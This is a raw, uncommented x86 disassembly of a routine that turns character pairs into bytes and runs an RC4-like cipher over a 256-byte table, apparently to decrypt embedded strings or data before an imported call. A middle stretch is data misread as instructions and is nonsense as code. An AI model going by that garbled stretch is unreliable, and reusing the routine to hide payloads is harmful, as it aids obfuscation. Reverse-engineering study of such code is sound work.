mov bl, byte [esi + 2]
inc edx
add esi, 2
mov dword [ebp - 8], edx
mov edx, dword [ebp - 0x1c]
add edx, 2
add bl, 6
mov dword [ebp - 0x1c], edx
mov dl, byte [esi + 1]
add dl, 0x23
mov dword [ebp - 0x44], esi
shl bl, 4
or dl, bl
mov bl, byte [ebp - 0x14]
mov byte [ebp - 1], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
lea esi, [ebp + edx - 0x158]
mov dl, byte [ebp + edx - 0x158]
mov byte [ebp - 0x24], dl
mov dl, byte [edi]
add al, dl
inc bl
mov byte [ebp - 0x30], al
mov byte [ebp - 0x14], bl
mov edx, dword [ebp - 0x30]
and edx, 0xff
lea edi, [ebp + edx - 0x158]
mov dword [ebp - 0x20], edi
mov dl, byte [edi]
mov byte [esi], dl
mov edx, dword [ebp - 0x2c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [edi], bl
mov edi, dword [ebp - 0x14]
and edi, 0xff
mov dword [ebp - 0x18], edx
mov bl, byte [ebp + edi - 0x158]
lea edi, [ebp + edi - 0x158]
mov byte [edx], bl
mov dl, byte [ebp - 0x24]
mov byte [edi], dl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x158]
add cl, bl
mov bl, byte [esi]
mov esi, dword [ebp - 0x18]
mov byte [ebp - 0x28], cl
mov edx, dword [ebp - 0x28]
and edx, 0xff
mov dl, byte [ebp + edx - 0x158]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
mov edx, dword [ebp - 0x20]
mov esi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x10]
add ebx, edx
mov dl, byte [ebp + esi - 0x158]
mov esi, dword [ebp - 8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x158]
mov bl, byte [ebp - 1]
mov byte [ebp - 0xc], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x2c], dl
jbe 0x831358
mov esi, dword [ebp - 0x1c]
movsx dx, dl
mov word [esi], dx
mov edx, dword [ebp - 0x48]
dec edx
mov dword [ebp - 0x48], edx
jne 0x831233
mov word [ebp - 0x36], 0
fld qword [0x893578]
fld qword [0x893578]
fld st(0)
fmul st(1)
fld st(0)
fmul qword [0x89a478]
fsub st(1)
fxch st(1)
fmul qword [0x89a470]
fadd qword [0x89a468]
fdivp st(1)
faddp st(2)
fld st(1)
fcomp qword [0x89a460]
fnstsw ax
test ah, 0x41
jne 0x8313b0
fld st(0)
fmul qword [0x89a458]
fsubp st(2)
fadd qword [0x89a450]
fcom qword [0x89a448]
fnstsw ax
test ah, 1
jne 0x831377
fxch st(1)
fst qword [ebp - 0x4c]
fxch st(1)
fstp st(0)
fcomp qword [0x893578]
fnstsw ax
test ah, 1
je 0x831405
and cl, byte [ebx + 0x1f]
dec eax
inc ebp
and byte [ebp + 0x28], cl
xor eax, 0x5f43483c
xor dword [eax + 0x52], ebx
jo 0x83142e
outsd dx, dword [esi]
push ecx
inc ecx
jp 0x831448
inc edi
sub edi, dword [0x453d6874]
xor dword [0x773a377c], edi
arpl cx, bp
movsb byte es:[edi], byte [esi]
add eax, 0x45c70000
test al, 0xd9
adc eax, dword [ebx - 0x43ba3900]
loope 0x831424
mov dword [ebp - 0x58], 0x8313d9
mov dword [ebp - 0x44], 0x8313e1
xor eax, eax
add dword [eax], 0x33
ror byte [eax - 0x157fa7c], 0xff
inc dword [eax + 0x3d]
add byte [ecx], al
add byte [eax], al
mov byte [ebp + eax - 0x158], al
inc eax
cmp eax, 0x100
jb 0x831415
fld qword [ebp - 0x4c]
mov byte [ebp - 8], 0
mov eax, 0xff
add byte [eax], al
mov esi, dword [ebp - 8]
xor edi, edi
mov dword [ebp - 0xc], eax
jmp 0x83143d
mov eax, dword [ebp - 0xc]
mov ebx, 1
mov dword [ebp - 0x48], 0
cmp eax, ebx
jbe 0x831455
add byte [ebx], bh
ret
lea ebx, [ebx + ebx + 1]
cmp ebx, eax
jb 0x83144d
cmp edi, 3
ja case.default.0x83145a
jmp dword [edi*4 + 0x831a08]
fld st(0)
and esi, 0xff
call fcn.008416e4
mov cl, byte [ebp + esi - 0x158]
add cl, al
jmp 0x8314e0
fld st(0)
and esi, 0xff
call fcn.008416e4
mov cl, byte [ebp + esi - 0x158]
shr eax, 8
add cl, al
jmp 0x8314e0
fld st(0)
and esi, 0xff
call fcn.008416e4
mov cl, byte [ebp + esi - 0x158]
shr eax, 0x10
add cl, al
jmp 0x8314e0
fld st(0)
and esi, 0xff
call fcn.008416e4
mov cl, byte [ebp + esi - 0x158]
shr eax, 0x18
add cl, al
jmp 0x8314e0
mov eax, dword [ebp - 0x44]
and esi, 0xff
mov cl, byte [ebp + esi - 0x158]
mov dl, byte [eax + edi - 4]
add cl, dl
inc edi
mov byte [ebp - 8], cl
cmp edi, 0x23
jb 0x8314f1
xor edi, edi
add cl, 0x23
mov byte [ebp - 8], cl
mov esi, dword [ebp - 8]
mov eax, dword [ebp - 0x48]
mov edx, esi
and edx, 0xff
and edx, ebx
inc eax
cmp eax, 0xb
mov dword [ebp - 0x48], eax
jbe 0x831511
mov eax, edx
xor edx, edx
div dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp edx, eax
ja 0x831455
mov ecx, eax
cmp ecx, edx
je 0x83155a
mov al, byte [ebp + edx - 0x158]
mov bl, byte [ebp + ecx - 0x158]
lea edx, [ebp + edx - 0x158]
xor bl, al
mov byte [ebp + ecx - 0x158], bl
mov al, bl
mov bl, byte [edx]
xor bl, al
mov byte [edx], bl
mov al, byte [ebp + ecx - 0x158]
mov dl, bl
xor al, dl
mov byte [ebp + ecx - 0x158], al
dec ecx
mov dword [ebp - 0xc], ecx
jne 0x83143a
mov dl, byte [ebp - 0x151]
and esi, 0xff
mov byte [ebp - 0x1c], dl
mov bl, byte [ebp - 0x155]
mov al, byte [ebp + esi - 0x158]
mov esi, dword [ebp - 0x58]
mov byte [ebp - 0x18], al
xor eax, eax
mov al, byte [esi]
mov dl, byte [esi + 1]
add al, 6
sub dl, 0x3e
shl al, 4
or al, dl
mov cl, byte [ebp - 0x153]
mov byte [ebp - 0x2c], al
mov eax, dword [ebp - 0x18]
and eax, 0xff
fstp st(0)
mov dl, byte [ebp + eax - 0x158]
lea edi, [ebp + eax - 0x158]
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0x157]
mov eax, edx
and eax, 0xff
mov al, byte [ebp + eax - 0x158]
add al, bl
inc dl
mov byte [ebp - 0x30], al
mov byte [ebp - 8], dl
mov edx, dword [ebp - 0x30]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [edi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x24], edx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 8]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x158]
mov dword [ebp - 0xc], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0xc]
mov dl, byte [ebp - 0x10]
mov byte [ebx], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov dword [ebp - 0x28], edx
mov bl, byte [ebp + edx - 0x158]
add cl, bl
mov ebx, dword [ebp - 0x20]
mov byte [ebp - 0x14], cl
mov edx, dword [ebp - 0x14]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x158]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
mov edi, dword [ebp - 0x28]
and edx, 0xff
xor ebx, ebx
mov bl, byte [ebp + edx - 0x158]
mov edx, dword [ebp - 0x24]
mov dl, byte [edx]
mov bl, byte [ebp + ebx - 0x158]
add edx, edi
and edx, 0xff
xor bl, byte [ebp + edx - 0x158]
mov dl, byte [ebp - 0x2c]
mov byte [ebp - 0x18], dl
xor bl, dl
xor edx, edx
mov byte [ebp - 0x1c], bl
mov dl, byte [esi + 2]
mov bl, byte [esi + 3]
add dl, 6
sub bl, 0x3e
shl dl, 4
or dl, bl
mov byte [ebp - 0x2c], dl
mov edx, dword [ebp - 0x18]
and edx, 0xff
lea edi, [ebp + edx - 0x158]
mov dl, byte [ebp + edx - 0x158]
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0xc]
mov bl, byte [edx]
mov dl, byte [ebp - 8]
add al, bl
inc dl
mov byte [ebp - 0x30], al
mov byte [ebp - 8], dl
mov edx, dword [ebp - 0x30]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [edi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x24], edx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 8]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x158]
mov dword [ebp - 0xc], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0xc]
mov dl, byte [ebp - 0x10]
mov byte [ebx], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov dword [ebp - 0x28], edx
mov bl, byte [ebp + edx - 0x158]
add cl, bl
mov ebx, dword [ebp - 0x20]
mov byte [ebp - 0x14], cl
mov edx, dword [ebp - 0x14]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x158]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
mov edx, dword [ebp - 0x24]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x28]
add ebx, edx
mov dl, byte [ebp + edi - 0x158]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x158]
mov bl, byte [ebp - 0x2c]
mov byte [ebp - 0x18], bl
xor dl, bl
mov byte [ebp - 0x1c], dl
movsx dx, dl
mov word [ebp - 0x54], dx
mov bl, byte [esi + 5]
xor edx, edx
sub bl, 0x3e
mov dl, byte [esi + 4]
add dl, 6
shl dl, 4
or dl, bl
mov byte [ebp - 0x2c], dl
mov edx, dword [ebp - 0x18]
and edx, 0xff
lea edi, [ebp + edx - 0x158]
mov dl, byte [ebp + edx - 0x158]
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0xc]
mov bl, byte [edx]
mov dl, byte [ebp - 8]
add al, bl
inc dl
mov byte [ebp - 0x30], al
mov byte [ebp - 8], dl
mov edx, dword [ebp - 0x30]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [edi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x24], edx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 8]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x158]
mov dword [ebp - 0xc], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0xc]
mov dl, byte [ebp - 0x10]
mov byte [ebx], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov dword [ebp - 0x28], edx
mov bl, byte [ebp + edx - 0x158]
add cl, bl
mov ebx, dword [ebp - 0x20]
mov byte [ebp - 0x14], cl
mov edx, dword [ebp - 0x14]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x158]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
mov edx, dword [ebp - 0x24]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x28]
add ebx, edx
mov dl, byte [ebp + edi - 0x158]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x158]
mov bl, byte [ebp - 0x2c]
xor dl, bl
mov byte [ebp - 0x1c], dl
movsx dx, dl
mov word [ebp - 0x52], dx
mov edx, dword [ebp - 0x2c]
and edx, 0xff
lea edi, [ebp + edx - 0x158]
mov dl, byte [ebp + edx - 0x158]
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0xc]
mov bl, byte [edx]
add al, bl
mov bl, byte [ebp - 8]
mov byte [ebp - 0x30], al
inc bl
mov eax, dword [ebp - 0x30]
mov byte [ebp - 8], bl
and eax, 0xff
mov dl, byte [ebp + eax - 0x158]
lea eax, [ebp + eax - 0x158]
mov byte [edi], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x158]
lea edx, [ebp + edx - 0x158]
mov byte [eax], bl
mov ebx, dword [ebp - 8]
and ebx, 0xff
mov dword [ebp - 0x20], edx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 0xc], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov ebx, dword [ebp - 0xc]
mov dl, byte [ebp - 0x10]
mov byte [ebx], dl
mov edx, dword [ebp - 0x10]
mov bl, byte [esi + 7]
and edx, 0xff
mov dword [ebp - 0x28], edx
mov dl, byte [esi + 6]
mov esi, dword [ebp - 0x28]
add dl, 6
shl dl, 4
sub bl, 0x3e
mov al, byte [eax]
or dl, bl
mov bl, byte [ebp + esi - 0x158]
mov esi, dword [ebp - 0x20]
add bl, cl
and ebx, 0xff
mov word [ebp - 0x4e], 0
mov cl, byte [ebp + ebx - 0x158]
mov bl, byte [edi]
mov edi, dword [ebp - 0x28]
add ecx, ebx
mov bl, byte [esi]
add eax, edi
add ecx, ebx
xor ebx, ebx
and ecx, 0xff
and eax, 0xff
mov bl, byte [ebp + ecx - 0x158]
mov cl, byte [ebp + ebx - 0x158]
xor dl, cl
mov cl, byte [ebp + eax - 0x158]
xor dl, cl
movsx cx, dl
mov word [ebp - 0x50], cx
push 1
lea edx, [ebp - 0x54]
push 0
lea eax, [ebp - 0x360]
push edx
lea ecx, [ebp - 0x40]
push eax
push ecx
push 0
call dword [0x8d78a4]
cmp eax, 0x20
pop ebx
jle 0x8319d5
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret